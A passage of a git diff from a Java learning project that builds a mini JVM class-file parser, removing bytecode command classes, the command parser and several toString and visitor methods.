-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
index c4455c6b2a..2f141a20a3 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
@@ -1,9 +1,6 @@
 package com.github.ipk2015.coding2017.minijvm.attr;
 
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
-import com.github.ipk2015.coding2017.minijvm.cmd.CommandParser;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 public class CodeAttr extends AttributeInfo {
@@ -15,21 +12,21 @@ public String getCode() {
 		return code;
 	}
 
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		this.cmds = cmds;
+		//this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -47,10 +44,7 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxLocals = iter.nextUNToInt(2); 
 		int codeLen = iter.nextUNToInt(4);
 		String code = iter.nextUNToHexString(codeLen);
-		
-		ByteCodeCommand[] commands = CommandParser.parse(clzFile, code);
-		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code,commands);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code);
 		int exceptionTableLen = iter.nextUNToInt(2);
 		if(exceptionTableLen != 0){
 			throw new RuntimeException("code属性里的异常table长度为："+exceptionTableLen);
@@ -84,17 +78,7 @@ private static void addSonAttr(ClassFile clzFile,CodeAttr codeAttr,ByteCodeItera
 		}
 	}
 
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
+	
 	
 	
 	
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
index b1c1245a5a..42875581bd 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
@@ -48,16 +48,6 @@ public static LineNumberTable parse(ByteCodeIterator iter){
 		return lineNumberTable;
 	}
 	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
+	
 
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
index a54ac24443..d8c3563b2b 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
@@ -4,7 +4,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 
@@ -36,17 +36,6 @@ public static LocalVariableTable parse(ByteCodeIterator iter){
 	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
+	
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
index 3a267144af..5cecfc3bff 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
@@ -5,7 +5,6 @@
 
 import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
 import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
 import com.github.ipk2015.coding2017.minijvm.field.Field;
 import com.github.ipk2015.coding2017.minijvm.method.Method;
 
@@ -81,28 +80,13 @@ public void print(){
 		
 	}
 	
-	public String getClassName(){
+	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	public String getSuperClassName(){
+	private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
-public Method getMethod(String methodName, String paramAndReturnType){
-		List<Method> list = getMethods();
-		for(Method m : list){
-			String name = ((UTF8Info)pool.getConstantInfo(m.getNameIndex())).getValue();
-			String desc = ((UTF8Info)pool.getConstantInfo(m.getDescriptorIndex())).getValue();
-			if(name.equalsIgnoreCase(methodName) && desc.equalsIgnoreCase(paramAndReturnType)){
-				return m;
-			}
-		}
-		return null;
-	}
-	public Method getMainMethod(){
-//		 main:([Ljava/lang/String;)V
-		return getMethod("main","([Ljava/lang/String;)V");
-	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java
deleted file mode 100644
index 80d3076ea1..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index f2c72d31f1..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,132 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java
deleted file mode 100644
index d9c3c619e2..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,143 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-		if(null == codes || codes.length() == 0){
-			throw new RuntimeException("字节码不存在");
-		}
-		codes = codes.toUpperCase();
-		CommandIterator iterator = new CommandIterator(codes);
-		List<ByteCodeCommand> commands = new ArrayList<ByteCodeCommand>();
-		while(iterator.hasNext()){
-			String operatorCode = iterator.next2CharAsString(); 
-			if(ldc.equals(operatorCode)){
-				LdcCmd cmd = new LdcCmd(clzFile,operatorCode);
-				cmd.setOperand(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(bipush.equals(operatorCode)){
-				BiPushCmd cmd = new BiPushCmd(clzFile,operatorCode);
-				cmd.setOperand(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(new_object.equals(operatorCode)){
-				NewObjectCmd cmd = new NewObjectCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(invokespecial.equals(operatorCode)){
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(invokevirtual.equals(operatorCode)){
-				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(putfield.equals(operatorCode)){
-				PutFieldCmd cmd = new PutFieldCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(getfield.equals(operatorCode)){
-				GetFieldCmd cmd = new GetFieldCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(getstatic.equals(operatorCode)){
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile,operatorCode);
-				cmd.setOprand1(iterator.next2CharAsInt());
-				cmd.setOprand2(iterator.next2CharAsInt());
-				commands.add(cmd);
-			}else if(dup.equals(operatorCode) || aload_0.equals(operatorCode) || aload_1.equals(operatorCode) || 
-					aload_2.equals(operatorCode) || astore_1.equals(operatorCode) || voidreturn.equals(operatorCode)
-					|| iload.equals(operatorCode) || iload_1.equals(operatorCode) || iload_2.equals(operatorCode)
-					|| iload_3.equals(operatorCode) || fload_3.equals(operatorCode) || iconst_0.equals(operatorCode)
-					|| iconst_1.equals(operatorCode) || istore_1.equals(operatorCode) || istore_2.equals(operatorCode)
-					|| iadd.equals(operatorCode)|| iinc.equals(operatorCode)){
-				NoOperandCmd command = new NoOperandCmd(clzFile,operatorCode);
-				commands.add(command);
-			}else{
-				throw new RuntimeException("this operator code not includes yet:"+operatorCode);
-			}
-		}
-		calcuateOffset(commands);
-		ByteCodeCommand[] result = new ByteCodeCommand[commands.size()];
-		return commands.toArray(result);
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java
deleted file mode 100644
index ad694d7eec..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 87bfca3c7f..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index e573129d76..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 989c3f6fae..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java
deleted file mode 100644
index bc72a9f300..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-import com.github.ipk2015.coding2017.minijvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 973061d110..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 62c51c2b3a..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java
deleted file mode 100644
index ca6052b34c..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java
deleted file mode 100644
index e73ff203d5..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 99c6b99455..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.cmd;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-import com.github.ipk2015.coding2017.minijvm.constant.FieldRefInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
index d8cba51f62..e2e0f50f61 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
@@ -23,8 +23,4 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);
-	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
index 9275387556..663c493b57 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
@@ -25,16 +25,5 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
index d28601f4ba..ea0e135a23 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public int getSize() {		
+	public Object getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
index 521c010f7b..b74fb427ba 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
